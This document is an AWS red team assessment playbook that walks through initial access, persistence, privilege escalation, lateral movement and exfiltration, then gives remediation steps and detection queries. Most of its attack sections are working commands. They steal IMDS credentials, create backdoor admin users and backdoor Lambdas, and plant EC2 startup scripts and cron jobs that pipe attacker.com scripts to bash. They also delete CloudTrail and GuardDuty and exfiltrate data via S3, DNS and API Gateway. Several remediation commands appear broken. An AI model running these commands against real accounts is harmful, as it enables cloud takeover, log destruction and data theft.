AWS Cloud Red Team Assessment
Table of Contents
- Authorization & Legal
- Scope Definition
- Methodology
- Attack Scenarios & Technical Commands
- MITRE ATT&CK Mapping
- Risk Assessment
- Remediation Recommendations
- Detection Engineering
- Appendix
1. Authorization & Legal
1.1 AWS Penetration Testing Policy
AWS allows customers to conduct penetration testing on their own AWS infrastructure without prior approval, subject to the following conditions:
✅ Permitted Activities:
- Penetration testing against AWS resources you own
- Security assessments of EC2, RDS, Lambda, S3, and other AWS services
- Vulnerability scanning of your own applications
- Social engineering campaigns against your employees
- Physical security testing of your own facilities
❌ Prohibited Activities:
- DNS zone walking via Route 53
- AWS service availability testing (DoS/DDoS simulation)
- Physical security testing of AWS facilities
- Man-in-the-middle attacks on AWS infrastructure
- Attempting to access other customers' data
- Protocol spoofing to induce customer action
2. Scope Definition
2.1 In-Scope AWS Services
| Service Category | Services | Test Types |
|---|---|---|
| Compute | EC2, Lambda, ECS, EKS, Fargate | Instance compromise, container escape, privilege escalation |
| Storage | S3, EBS, EFS, FSx | Bucket enumeration, data access, encryption bypass |
| Identity | IAM, Cognito, SSO | Permission escalation, role assumption, token manipulation |
| Network | VPC, Transit Gateway, Route53 | Network segmentation, traffic interception |
| Database | RDS, DynamoDB, Redshift | SQL injection, data exfiltration, credential access |
| Management | CloudTrail, Config, Systems Manager | Log manipulation, detection evasion |
| Serverless | Lambda, API Gateway, Step Functions | Function injection, event manipulation |
| Containers | ECR, ECS, EKS | Image poisoning, kubelet access |
| Messaging | SQS, SNS, Kinesis | Message injection, data interception |
| Secrets | Secrets Manager, SSM Parameter Store | Secret retrieval, parameter manipulation |
2.2 Out-of-Scope Items
- AWS infrastructure physical security
- Other AWS customer environments
- AWS managed service internal workings
- Denial of Service testing
- Social engineering of AWS employees
2.3 Assumptions & Dependencies
- Tester has valid AWS credentials for testing
- Target environment has representative workloads
- Monitoring tools are enabled for detection testing
- Emergency contacts are available during testing window
3. Methodology
3.1 Attack Lifecycle Phases
The assessment follows a structured five-phase approach:
Phase 1: Initial Access → Phase 2: Persistence → Phase 3: Privilege Escalation
→ Phase 4: Lateral Movement → Phase 5: Data Exfiltration
3.2 Tools & Frameworks
| Tool | Purpose | Source |
|---|---|---|
| Pacu | AWS exploitation framework | Rhinosecurity Labs |
| ScoutSuite | Multi-cloud security auditing | NCC Group |
| CloudSploit | Cloud security posture assessment | Aqua Security |
| enumerate-iam | IAM permission enumeration | @andresriancho |
| Stratus Red Team | Cloud-native attack simulation | DataDog |
| AWS CLI | Manual exploitation | AWS |
| Boto3 | Python SDK for automation | AWS |
| S3Scanner | S3 bucket enumeration | saulb |
| CloudMapper | Cloud environment visualization | Duo Security |
3.3 Prerequisites & Setup
# Install AWS CLI
curl "https://awscli.amazonaws.com/awscli-edge-linux-x86_64.zip" -o "awscli.zip"
unzip awscli.zip
sudo ./aws/install
# Configure AWS CLI
aws configure
# AWS Access Key ID: [YOUR_KEY]
# AWS Secret Access Key: [YOUR_SECRET]
# Default region name: us-east-1
# Default output format: json
# Install Python dependencies
pip3 install boto3 botocore pacu cloudsploit scout-suite
# Clone exploitation frameworks
git clone https://github.com/RhinosecurityLabs/pacu.git
git clone https://github.com/nccgroup/ScoutSuite.git
git clone https://github.com/aquasecurity/cloudsploit.git
# Set environment variables
export AWS_PROFILE=default
export ATTACKER_EMAIL=attacker@evil.com
export TARGET_ACCOUNT=123456789012
export ATTACKER_ACCOUNT=987654321098
4. Attack Scenarios & Technical Commands
Phase 1: Initial Access
Objective
Gain initial foothold in the target AWS environment through various entry vectors.
[ ] Credential Compromise: Leaked AWS keys, Github reconnaissance
[ ] Public Exposure: Misconfigured S3, open RDS, exposed APIs
[ ] Supply Chain: Compromise Lambda layers, EC2 AMIs, CloudFormation templates
1.1 Credential Discovery
Exposure Assessment:
# Check for exposed credentials in environment
env | grep AWS
cat ~/.aws/credentials
cat ~/.aws/config
# GitHub reconnaissance (gitleaks)
gitleaks detect --source https://github.com/target-org --verbose
# Check for hardcoded credentials in codebases
git grep -i "aws_access_key_id"
git grep -i "aws_secret_access_key"
S3 Bucket Enumeration:
# List accessible buckets
aws s3 ls
# Check bucket without authentication
aws s3 ls --no-sign-request
aws s3 ls s3://TARGET-BUCKET-NAME --no-sign-request
# S3Scanner for bucket enumeration
s3scanner scan -b target-bucket-name
s3scanner scan -f buckets.txt
# Check for public S3 buckets with sensitive data
aws s3api get-bucket-acl --bucket TARGET-BUCKET \
--query 'ACL[?Grantee.URI==`http://acs.amazonaws.com/groups/global/AllUsers`]'
# Enumerate bucket contents
aws s3 ls s3://TARGET-BUCKET --recursive
aws s3api list-objects --bucket TARGET-BUCKET
IAM Enumeration (with some access):
# List IAM users
aws iam list-users
# List IAM roles
aws iam list-roles
# List IAM groups
aws iam list-groups
# List attached policies
aws iam list-policies --scope Local
# Get user details
aws iam get-user --user-name TARGET-USER
aws iam list-attached-user-roles --user-name TARGET-USER
aws iam list-attached-user-policies --user-name TARGET-USER
1.2 EC2 Metadata Exploitation (IMDSv1)
# Access EC2 metadata service
curl http://169.254.169.254/latest/meta-data/
# Get IAM role name
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Extract credentials
INSTANCE_ROLE=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/$INSTANCE_ROLE
# Parse credentials (example output)
# AccessKeyId: ASIA...
# SecretAccessKey: ...
# Token: ...
# Use extracted credentials
export AWS_ACCESS_KEY_ID=EXTRACTED_KEY
export AWS_SECRET_ACCESS_KEY=EXTRACTED_SECRET
export AWS_SESSION_TOKEN=EXTRACTED_TOKEN
# Verify access
aws sts get-caller-identity
SSRF-based Metadata Access:
# If SSRF vulnerability exists
curl "http://target.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Using various SSRF techniques
curl "http://target.com/redirect?url=http://169.254.169.254/latest/meta-data/"
1.3 Lambda Event Injection
# Create malicious Lambda function
cat <<EOF > lambda_function.py
import boto3
import os
def lambda_handler(event, context):
# Exfiltrate environment variables
s3 = boto3.client('s3')
s3.put_object(
Bucket='attacker-bucket',
Key='env_vars.txt',
Body=str(os.environ)
)
return {'statusCode': 200}
EOF
# Package function
zip function.zip lambda_function.py
# Create Lambda
aws lambda create-function \
--function-name malicious-function \
--runtime python3.9 \
--role arn:aws:iam::ACCOUNT:role/lambda-execution \
--handler lambda_function.lambda_handler \
--zip-file fileb://function.zip
# Invoke function
aws lambda invoke \
--function-name malicious-function \
--payload '{"key":"value"}' \
output.json
Phase 2: Persistence
Objective
Establish persistent access mechanisms to maintain foothold despite credential rotation or instance termination.
[ ] IAM Backdoors: Create new users/keys, modify policies
[ ] Lambda Persistence: Inject malicious code into functions
[ ] EC2 Persistence: SSH keys, cron jobs, startup scripts
[ ] CloudTrail Evasion: Disable logging, delete logs
2.1 Create Backdoor IAM User
# Create new IAM user
aws iam create-user --user-name backdoor-user
# Create access keys for backdoor user
aws iam create-access-key --user-name backdoor-user
# Output contains:
# {
# "AccessKey": {
# "UserName": "backdoor-user",
# "AccessKeyId": "AKIA...",
# "Status": "Active",
# "SecretAccessKey": "...",
# "CreateDate": "2026-04-03T10:00:00Z"
# }
# }
# Attach AdministratorAccess policy
aws iam attach-user-policy \
--user-name backdoor-user \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# Create login profile for console access
aws iam create-login-profile \
--user-name backdoor-user \
--password 'TempPass123!' \
--no-password-reset-required
# Add to AWS CLI profile
aws configure --profile backdoor-user
# AWS Access Key ID: [NEW_KEY]
# AWS Secret Access Key: [NEW_SECRET]
2.2 Lambda Persistence
# Create backdoor Lambda code
cat <<EOF > backdoor.py
import boto3
import json
def lambda_handler(event, context):
# Create new IAM user on every invocation
iam = boto3.client('iam')
try:
iam.create_user(UserName='persistent-backdoor')
iam.attach_user_policy(
UserName='persistent-backdoor',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
print("Backdoor user created")
except Exception as e:
print(f"Error: {str(e)}")
return {'statusCode': 200}
EOF
# Package function
zip backdoor.zip backdoor.py
# Update existing function with backdoor
aws lambda update-function-code \
--function-name TARGET-FUNCTION \
--zip-file fileb://backdoor.zip
# Add S3 bucket trigger
aws lambda add-event-source-mapping \
--function-name TARGET-FUNCTION \
--event-source-arn arn:aws:s3:::TARGET-BUCKET
# Or create new backdoor function
aws lambda create-function \
--function-name cloudtrail-processor \
--runtime python3.9 \
--role arn:aws:iam::ACCOUNT:role/lambda-role \
--handler backdoor.lambda_handler \
--zip-file fileb://backdoor.zip
2.3 EC2 Persistence
# Create startup script for EC2
cat <<EOF > startup-script.sh
#!/bin/bash
# Add SSH key
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... attacker@evil" >> /home/ec2-user/.ssh/authorized_keys
# Install backdoor
curl http://attacker.com/backdoor.sh | bash
# Create cron job for persistence
echo "*/5 * * * * curl http://attacker.com/beacon.sh | bash" | crontab -
EOF
# Create new EC2 with backdoor
aws ec2 run-instances \
--image-id ami-0c55b159cbfafe1f0 \
--instance-type t2.micro \
--user-data file://startup-script.sh \
--placement AvailabilityZone=us-east-1a \
--count 1
# Add SSH key to existing instance via SSM
aws ssm send-command \
--instance-ids i-0123456789abcdef0 \
--document-name "AWS-RunShellScript" \
--parameters 'commands=["echo \"ssh-rsa AAAA... attacker@evil\" >> /home/ec2-user/.ssh/authorized_keys"]'
# Get command output
aws ssm get-command-invocation \
--command-id COMMAND-ID \
--instance-id i-0123456789abcdef0
2.4 CloudTrail Evasion
# Stop CloudTrail logging
aws cloudtrail stop-logging --name TARGET-TRAIL
# Delete CloudTrail
aws cloudtrail delete-trail --name TARGET-TRAIL
# Delete CloudWatch logs
aws logs delete-log-group --log-group-name /aws/cloudtrail/TARGET-TRAIL
# Disable GuardDuty
aws guardduty delete-detector --detector-id YOUR-DETECTOR-ID
# Delete specific log streams
aws logs delete-log-stream \
--log-group-name /aws/cloudtrail/TARGET-TRAIL \
--log-stream-name LOG-STREAM-NAME
# Put retention policy to minimize logs
aws logs put-retention-policy \
--log-group-name /aws/cloudtrail/TARGET-TRAIL \
--retention-in-days 1
Phase 3: Privilege Escalation
Objective
Elevate privileges from initial access level to administrative control.
[ ] IAM Misconfiguration: Overly permissive policies, trust relationships
[ ] Role Assumption: Cross-account role takeover
[ ] Instance Profile Abuse: EC2 role credential harvesting
[ ] SSM Exploitation: RunCommand on target instances
3.1 IAM PassRole Abuse
# Check if you can pass roles
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument]'
# Get role details
aws iam get-role --role-name HIGH-PRIVILEGE-ROLE
# Check PassRole permission
aws iam simulate-principal-policy \
--policy-source-arn arn:aws:iam::ACCOUNT:role/YOUR-ROLE \
--action-names iam:PassRole \
--resource-arns arn:aws:iam::ACCOUNT:role/HIGH-PRIVILEGE-ROLE
# Create Lambda with high-privilege role
aws lambda create-function \
--function-name escalation-function \
--runtime python3.9 \
--role arn:aws:iam::ACCOUNT:role/HIGH-PRIVILEGE-ROLE \
--handler index.handler \
--zip-file fileb://function.zip
# Invoke to execute as high-privilege role
aws lambda invoke \
--function-name escalation-function \
--payload '{}' \
output.json
# Check output for results
cat output.json
3.2 Create Access Key for Privileged User
# If you have iam:CreateAccessKey on a user
aws iam create-access-key --user-name TARGET-ADMIN-USER
# Output:
# {
# "AccessKey": {
# "UserName": "admin-user",
# "AccessKeyId": "AKIA...",
# "Status": "Active",
# "SecretAccessKey": "...",
# "CreateDate": "2026-04-03T10:00:00Z"
# }
# }
# Add to your profile
aws configure --profile compromised-admin
# AWS Access Key ID: [NEW_KEY]
# AWS Secret Access Key: [NEW_SECRET]
# Verify access
aws sts get-caller-identity --profile compromised-admin
3.3 Assume Role Escalation
# Check trust relationships
aws iam get-role --role-name TARGET-ROLE
# Example trust relationship:
# {
# "Version": "2012-10-17",
# "Statement": [
# {
# "Effect": "Allow",
# "Principal": {
# "AWS": "arn:aws:iam::YOUR-ACCOUNT:root"
# },
# "Action": "sts:AssumeRole"
# }
# ]
# }
# Assume role if trusted
aws sts assume-role \
--role-arn arn:aws:iam::ACCOUNT:role/TARGET-ROLE \
--role-session-name escalation-session
# Output contains temporary credentials:
# {
# "Credentials": {
# "AccessKeyId": "ASIA...",
# "SecretAccessKey": "...",
# "SessionToken": "...",
# "Expiration": "2026-04-03T18:00:00Z"
# }
# }
# Use temporary credentials
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
# Role chaining example
aws sts assume-role \
--role-arn arn:aws:iam::ACCOUNT:role/INTERMEDIATE-ROLE \
--role-session-name chain1
# Then assume final role
aws sts assume-role \
--role-arn arn:aws:iam::ACCOUNT:role/FINAL-ROLE \
--role-session-name chain2
3.4 Glue Job Escalation
# Create Glue job with privileged role
aws glue create-job \
--name escalation-job \
--role arn:aws:iam::ACCOUNT:role/GLUE-ROLE \
--command '{"ScriptLocation":"s3://attacker-bucket/malicious-script.py","Runtime":"PYTHON"}'
# Start the job
aws glue start-job-run --job-name escalation-job
# Check job status
aws glue get-job-run --job-name escalation-job --run-id RUN-ID
3.5 DataSync Task Escalation
# Create DataSync task with IAM role
aws datasync create-task \
--source-location-arn arn:aws:datasync:REGION:ACCOUNT:location:LOC-ID \
--destination-location-arn arn:aws:datasync:REGION:ACCOUNT:location:LOC-ID2 \
--name escalation-task \
--options '{"VerifyMode":"NONE"}'
# Start task
aws datasync start-task-execution --task-arn TASK-ARN
Phase 4: Lateral Movement
Objective
Move laterally across the AWS environment to access additional resources and accounts.
[ ] Cross-Account Access: Trust relationship exploitation
[ ] VPC Peering: Move between VPCs
[ ] Secrets Access: Retrieve Secrets Manager/Parameter Store values
[ ] RDS Access: Database links, dblink attacks
4.1 Cross-Account Access
# Assume role in another account
aws sts assume-role \
--role-arn arn:aws:iam::TARGET-ACCOUNT:role/CROSS-ACCOUNT-ROLE \
--role-session-name lateral-movement
# Check for trust relationships allowing your account
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument contains `YOUR-ACCOUNT-ID`]'
# Enumerate cross-account trusts
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument.AssumeRolePolicyDocument.Statement[?Principal.AWS==`arn:aws:iam::TARGET-ACCOUNT:root`]]'
4.2 VPC Peering Exploitation
# List VPC peerings
aws ec2 describe-vpc-peering-connections
# Get VPC details
aws ec2 describe-vpcs
# List instances in peered VPC
aws ec2 describe-instances --filters "Name=vpc-id,Values=vpc-PEERED-VPC"
# Access resources in peered VPC (requires network access)
# Scan peered network
nmap -sV 10.0.0.0/16 # Example peered network
# Connect to RDS in peered VPC
psql -h TARGET-DB.REGION.rds.amazonaws.com -U admin -d targetdb
4.3 Secrets Manager Access
# List all secrets
aws secretsmanager list-secrets
# Get secret value
aws secretsmanager get-secret-value --secret-id TARGET-SECRET
# Get all secret values (if permitted)
aws secretsmanager list-secrets --query 'SecretList[*].Name' | \
xargs -I {} aws secretsmanager get-secret-value --secret-id {}
# List SSM parameters
aws ssm describe-parameters
# Get parameter value
aws ssm get-parameter --name /TARGET/PARAM --with-decryption
# Get all parameters
aws ssm describe-parameters --query 'Parameters[*].Name' | \
xargs -I {} aws ssm get-parameter --name {} --with-decryption
4.4 RDS Database Access
# List RDS instances
aws rds describe-db-instances
# Get RDS endpoint
aws rds describe-db-instances --db-instance-identifier TARGET-DB \
--query 'DBInstances[0].Endpoint.Address'
# Connect using psql
psql -h TARGET-DB.REGION.rds.amazonaws.com -U admin -d targetdb
# MySQL connection
mysql -h TARGET-DB.REGION.rds.amazonaws.com -u admin -p
# Extract data via dblink (if cross-database links exist)
psql -c "SELECT * FROM dblink('host=other-db user=postgres password=pass', 'SELECT * FROM sensitive_table') AS t;"
# Export data
pg_dump -h TARGET-DB.REGION.rds.amazonaws.com -U admin targetdb > backup.sql
4.5 SSM RunCommand Lateral Movement
# List available instances
aws ssm describe-instances
# Get instance IDs
aws ec2 describe-instances --query 'Reservations[*].Instances[*].InstanceId'
# Execute command on target instance
aws ssm send-command \
--instance-ids i-TARGET-INSTANCE \
--document-name "AWS-RunShellScript" \
--parameters 'commands=["cat /etc/passwd", "wget http://attacker.com/backdoor.sh && bash backdoor.sh"]'
# Get command output
aws ssm get-command-invocation \
--command-id COMMAND-ID \
--instance-id i-TARGET-INSTANCE
# Execute PowerShell on Windows
aws ssm send-command \
--instance-ids i-WINDOWS-INSTANCE \
--document-name "AWS-RunPowerShellScript" \
--parameters 'commands=["Get-Process", "net user"]'
4.6 EBS Snapshot Sharing
# List EBS snapshots
aws ec2 describe-snapshots --owner-ids ACCOUNT-ID
# Check for public snapshots
aws ec2 describe-snapshots --restorable-by-ids all
# Share snapshot with attacker account
aws ec2 modify-snapshot-attribute \
--snapshot-id snap-1234567890abcdef0 \
--attribute createVolumePermission \
--add '{"UserIds": ["ATTACKER-ACCOUNT-ID"]}'
# Attacker creates volume from shared snapshot
aws ec2 create-volume \
--snapshot-id snap-1234567890abcdef0 \
--region us-east-1 \
--availability-zone us-east-1a
# Attach volume to attacker EC2
aws ec2 attach-volume \
--volume-id vol-ATTACKER-VOLUME \
--instance-id i-ATTACKER-INSTANCE \
--device /dev/sdf
Phase 5: Data Exfiltration
Objective
Extract sensitive data from the target environment to attacker-controlled infrastructure.
[ ] S3 Transfer: Copy data to attacker-controlled bucket
[ ] DNS Exfil: Route53 DNS tunneling
[ ] API Gateway: Exfil via legitimate AWS endpoints
[ ] CloudFront: Distribution as exfil channel
5.1 S3 Transfer to Attacker Bucket
# Create attacker-controlled bucket
aws s3 mb s3://attacker-exfil-bucket --profile attacker
# Set bucket policy to allow target account
cat <<EOF > policy.json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowTargetAccount",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::TARGET-ACCOUNT:root"
},
"Action": ["s3:PutObject", "s3:GetObject"],
"Resource": "arn:aws:s3:::attacker-exfil-bucket/*"
}
]
}
EOF
aws s3api put-bucket-policy --bucket attacker-exfil-bucket --policy file://policy.json
# Copy data from target to attacker bucket
aws s3 cp s3://TARGET-SENSITIVE-BUCKET/data.zip s3://attacker-exfil-bucket/exfil/data.zip
# Sync entire bucket
aws s3 sync s3://TARGET-SENSITIVE-BUCKET s3://attacker-exfil-bucket/exfil/
# Use multipart upload for large files
aws s3 cp s3://TARGET-BUCKET/large-database.sql s3://attacker-exfil-bucket/ \
--expected-size 10737418240
5.2 DNS Exfiltration via Route53
# Create attacker Route53 zone
aws route53 create-hosted-zone \
--name exfil.attacker.com \
--type PUBLIC \
--caller-reference $(date +%s)
# Get nameservers
aws route53 get-hosted-zone --id ZONE-ID
# Exfiltrate data via DNS queries
for chunk in $(cat sensitive-data.txt | base64 | fold -w 50); do
nslookup "$chunk.exfil.attacker.com"
done
# Or use dnscat2
dnscat2-precompiled --security=open exfil.attacker.com
# Alternative: Use aws cli for DNS queries
for chunk in $(cat sensitive-data.txt | base64 | fold -w 50); do
aws route53 list-hosted-zones-by-name --dns-name "$chunk.exfil.attacker.com"
done
5.3 API Gateway Exfiltration
# Create API Gateway
aws apigateway create-rest-api --name exfil-api
# Get API ID
API_ID=$(aws apigateway get-rest-apis --query "restApis[?name=='exfil-api'].id" --output text)
# Create Lambda to receive data
cat <<EOF > receiver.py
import json
def lambda_handler(event, context):
with open('/tmp/exfil.txt', 'a') as f:
f.write(json.dumps(event))
return {'statusCode': 200}
EOF
zip receiver.zip receiver.py
aws lambda create-function \
--function-name exfil-receiver \
--runtime python3.9 \
--handler receiver.lambda_handler \
--zip-file fileb://receiver.zip \
--role arn:aws:iam::ACCOUNT:role/api-role
# Create integration
aws apigateway create-resource \
--rest-api-id $API_ID \
--parent-id ROOT-RESOURCE-ID \
--path-part exfil
aws apigateway put-method \
--rest-api-id $API_ID \
--resource-id RESOURCE-ID \
--http-method POST \
--authorization-type NONE
aws apigateway put-integration \
--rest-api-id $API_ID \
--resource-id RESOURCE-ID \
--http-method POST \
--type AWS \
--integration-http-method POST \
--uri arn:aws:apigateway:REGION:lambda:path/2015-03-31/functions/arn:aws:lambda:REGION:ACCOUNT:function:exfil-receiver/invocations
# Deploy API
aws apigateway create-deployment \
--rest-api-id $API_ID \
--stage-name prod
# Invoke API
curl -X POST https://$API_ID.execute-api.REGION.amazonaws.com/prod/exfil \
-d @sensitive-data.json
5.4 CloudFront Distribution Exfil
# Create CloudFront distribution
aws cloudfront create-distribution \
--origin-domain-name attacker-exfil-bucket.s3.amazonaws.com \
--default-root-object exfil/data.json
# Get distribution URL
DIST_URL=$(aws cloudfront list-distributions --query "DistributionList.Items[?Status=='Deployed'].DomainName" --output text)
# Data now accessible via CloudFront URL
# https://$DIST_URL
# Copy data through CloudFront
aws s3 cp s3://TARGET-BUCKET/sensitive.txt s3://attacker-bucket/exfil/ \
--metadata-directive REPLACE
5.5 Glacier Archive Exfiltration
# Create Glacier vault
aws glacier create-vault --account-id - --vault-name exfil-vault
# Create Glacier archive with exfiltrated data
aws glacier upload-archive \
--account-id - \
--vault-name exfil-vault \
--archive-description "Stolen Data" \
--body file://sensitive-data.tar.gz
# Or export to S3
aws glacier initiate-job \
--account-id - \
--vault-name TARGET-VAULT \
--job-parameters '{"Type":"archive-retrieval","ArchiveId":"ARCHIVE-ID"}'
# Wait for job completion
aws glacier get-job-output \
--account-id - \
--job-id JOB-ID \
--output-file recovered-data.tar.gz
5. MITRE ATT&CK Mapping
Cloud-Specific Techniques
| Phase | Tactic | Technique ID | Technique Name | AWS Implementation |
|---|---|---|---|---|
| Phase 1 | Initial Access | T1078.004 | Valid Accounts: Cloud Accounts | Leaked AWS keys, IAM user compromise |
| Phase 1 | Initial Access | T1189 | Drive-by Compromise | SSRF to IMDSv1 |
| Phase 1 | Initial Access | T1133 | External Remote Services | Exposed S3, RDS, APIs |
| Phase 2 | Persistence | T1136.003 | Create Account: Cloud Account | Backdoor IAM users |
| Phase 2 | Persistence | T1053.005 | Scheduled Task: Cloud Tasks | EventBridge rules, Lambda triggers |
| Phase 2 | Persistence | T1550.001 | Use Alternate Authentication Material: Cloud Tokens | Long-lived tokens |
| Phase 3 | Privilege Escalation | T1078.004 | Valid Accounts: Cloud Accounts | IAM role assumption |
| Phase 3 | Privilege Escalation | T1098.003 | Account Manipulation: Additional Cloud Roles | PassRole abuse |
| Phase 4 | Lateral Movement | T1021.008 | Remote Services: Cloud Services | SSM, Lambda invocation |
| Phase 4 | Lateral Movement | T1550.001 | Use Alternate Authentication Material: Cloud Tokens | Cross-account role assumption |
| Phase 5 | Exfiltration | T1567.001 | Exfiltration Over Web Service: Cloud Storage | S3 transfer to attacker bucket |
| Phase 5 | Exfiltration | T1048.003 | Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol | DNS exfiltration |
6. Risk Assessment
6.1 Risk Matrix
| Likelihood | Impact | Risk Level | Description |
|---|---|---|---|
| High | Critical | 🔴 Critical | Full account compromise, data breach |
| High | High | 🔴 High | Administrative access, lateral movement |
| Medium | High | 🟠 High | Limited privilege escalation |
| Medium | Medium | 🟡 Medium | Information disclosure |
| Low | Medium | 🟡 Medium | Minor misconfigurations |
6.2 Risk Scoring Methodology
CVSS v3.1 Base Score Components:
- Attack Vector (AV): Network (N) / Adjacent (A) / Local (L) / Physical (P)
- Attack Complexity (AC): Low (L) / High (H)
- Privileges Required (PR): None (N) / Low (L) / High (H)
- User Interaction (UI): None (N) / Required (R)
- Scope (S): Unchanged (U) / Changed (C)
- Confidentiality (C): None (N) / Low (L) / High (H)
- Integrity (I): None (N) / Low (L) / High (H)
- Business Impact (B): None (N) / Low (L) / High (H)
6.3 Common AWS Vulnerabilities
| Vulnerability | CVSS Score | Prevalence | Business Impact |
|---|---|---|---|
| Overly Permissive IAM Policies | 9.8 | Very High | Critical |
| Exposed S3 Buckets | 7.5 | High | High |
| IMDSv1 Exploitation | 8.6 | Medium | High |
| Cross-Account Trust Misconfiguration | 8.1 | Medium | High |
| Unencrypted S3 Data | 5.3 | High | Medium |
| CloudTrail Disabled | 6.5 | Medium | Medium |
| Public RDS Instances | 7.5 | Low | High |
| Lambda Event Injection | 7.8 | Medium | High |
7. Remediation Recommendations
7.1 Immediate Actions (Critical)
IAM Security
# 1. Enable IAM Access Analyzer
aws iam enable-access-analyzer
# 2. Review all IAM policies
aws iam list-policies --scope Local
aws iam get-policy --policy-arn POLICY-ARN
# 3. Remove unused IAM users
aws iam list-users --query 'Users[?PasswordLastUsed==`null` && !CreateDate>`2025-01-01`]'
# 4. Enforce MFA for all users
aws iam create-login-profile --user-name USERNAME --password PASSWORD --no-mfa-serial
# Change to require MFA:
aws iam update-login-profile --user-name USERNAME --password PASSWORD --no-mfa-serial
S3 Security
# 1. Block public access at account level
aws s3api put-public-access-block \
--bucket YOUR-BUCKET \
--public-access-block-configuration \
"BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true"
# 2. Enable S3 encryption
aws s3api put-bucket-encryption \
--bucket YOUR-BUCKET \
--server-side-encryption-configuration '{
"Rules": [{
"ApplyServerSideEncryptionByDefault": {
"SSEAlgorithm": "AES256"
}
}]
}'
# 3. Enable S3 versioning
aws s3api put-bucket-versioning \
--bucket YOUR-BUCKET \
--versioning-configuration Status=Enabled
CloudTrail & Logging
# 1. Enable CloudTrail in all regions
aws cloudtrail create-trail \
--name global-trail \
--s3-bucket-name cloudtrail-logs-bucket \
--is-multi-region-trail \
--include-global-service-events
# 2. Enable CloudTrail log file validation
aws cloudtrail update-trail --name global-trail --validate
# 3. Enable GuardDuty
aws guardduty create-detector --enable
7.2 Short-Term Actions (High)
Network Segmentation
# 1. Create private subnets
aws ec2 create-vpc --cidr-block 10.0.0.0/16
# 2. Configure security groups with least privilege
aws ec2 create-security-group \
--group-name app-sg \
--description "Application security group" \
--vpc-id vpc-12345678
# 3. Restrict inbound traffic
aws ec2 authorize-security-group-ingress \
--group-id sg-12345678 \
--protocol tcp \
--port 443 \
--cidr 10.0.0.0/8
Secrets Management
# 1. Migrate to AWS Secrets Manager
aws secretsmanager create-secret \
--name production/db/password \
--secret-string '{"username":"admin","password":"complex-password"}'
# 2. Enable automatic rotation
aws secretsmanager rotate-secret \
--secret-id production/db/password \
--rotation-rules AutomaticallyAfterDays=30
# 3. Remove hardcoded credentials from code
# Search for patterns:
grep -r "AKIA[0-9A-Z]{16}" .
grep -r "aws_secret_access_key" .
7.3 Long-Term Actions (Medium)
Infrastructure as Code Security
# 1. Use CloudFormation with security scanning
cfn-lint template.yaml
# 2. Implement policy as code with Open Policy Agent
opa check -p policies/ -d resources/
# 3. Use AWS Config rules
aws configservice put-config-rule \
--config-rule '{
"ConfigRuleName": "s3-bucket-public-read-prohibited",
"Source": {
"Owner": "AWS",
"SourceIdentifier": "S3_BUCKET_PUBLIC_READ_PROHIBITED"
}
}'
Monitoring & Detection
# 1. Create CloudWatch alarms for suspicious activity
aws cloudwatch put-metric-alarm \
--alarm-name "HighConsoleLogins" \
--metric-name ConsoleLogin \
--namespace AWS/Console \
--statistic Sum \
--period 300 \
--threshold 5 \
--comparison-operator GreaterThanThreshold \
--evaluation-periods 1 \
--alarm-actions arn:aws:sns:REGION:ACCOUNT:alarm-topic
# 2. Enable AWS Security Hub
aws securityhub enable-security-hub
# 3. Create custom GuardDuty detection
# (Requires Lambda function and EventBridge rule)
8. Detection Engineering
8.1 CloudWatch Log Insights Queries
Detect IAM User Creation
filter eventSource == "iam.amazonaws.com"
| filter eventName == "CreateUser" or eventName == "CreateAccessKey"
| stats count() by eventName, userIdentity.arn
| sort @timestamp desc
Detect GuardDuty Disablement
filter eventSource == "guardduty.amazonaws.com"
| filter eventName == "DeleteDetector" or eventName == "UpdateDetector"
| stats count() by eventName, userIdentity.arn
| sort @timestamp desc
Detect CloudTrail Tampering
filter eventSource == "cloudtrail.amazonaws.com"
| filter eventName == "StopLogging" or eventName == "DeleteTrail"
| stats count() by eventName, userIdentity.arn, sourceIPAddress
| sort @timestamp desc
Detect S3 Public Access Changes
filter eventSource == "s3.amazonaws.com"
| filter eventName like /PutBucketAcl/ or eventName like /PutBucketPolicy/
| stats count() by bucket, eventName
| sort @timestamp desc
8.2 GuardDuty Custom Detections
Anomalous IAM Activity
{
"name": "Anomalous IAM Activity",
"description": "Detects unusual IAM operations",
"enabled": true,
"type": "IAM",
"conditions": [
{
"field": "eventName",
"operator": "IN",
"values": ["CreateUser", "CreateAccessKey", "AttachUserPolicy"]
},
{
"field": "userIdentity.type",
"operator": "EQUALS",
"values": ["IAMUser"]
}
],
"actions": {
"severity": "HIGH",
"alert": true
}
}
8.3 Security Hub Custom Insights
# Create custom insight for critical findings
aws securityhub create-insight \
--name "Critical IAM Findings" \
--filters '{
"Severity": [{"Comparison": "EQUALS", "Value": 4}],
"ResourceType": [{"Comparison": "EQUALS", "Value": "AwsIamUser"}]
}' \
--group-by aws.securityhub.insight.Arn
9. Appendix
9.1 AWS CLI Configuration Examples
Multi-Profile Setup
# ~/.aws/credentials
[target-account]
aws_access_key_id = AKIA...
aws_secret_access_key = ...
[attacker-account]
aws_access_key_id = AKIA...
aws_secret_access_key = ...
# ~/.aws/config
[profile target-account]
region = us-east-1
output = json
[profile attacker-account]
region = us-west-2
output = json
AWS CLI Config File
# ~/.aws/config
[default]
region = us-east-1
output = json
cli_pager =
[profile redteam]
region = us-east-1
output = table
credential_process = /usr/local/bin/aws-rotate-creds
[profile readonly]
region = us-west-2
output = json
9.2 Pacu Module Reference
| Module | Purpose | Command |
|---|---|---|
iam__enum_users |
Enumerate IAM users | run iam__enum_users |
iam__enum_roles |
Enumerate IAM roles | run iam__enum_roles |
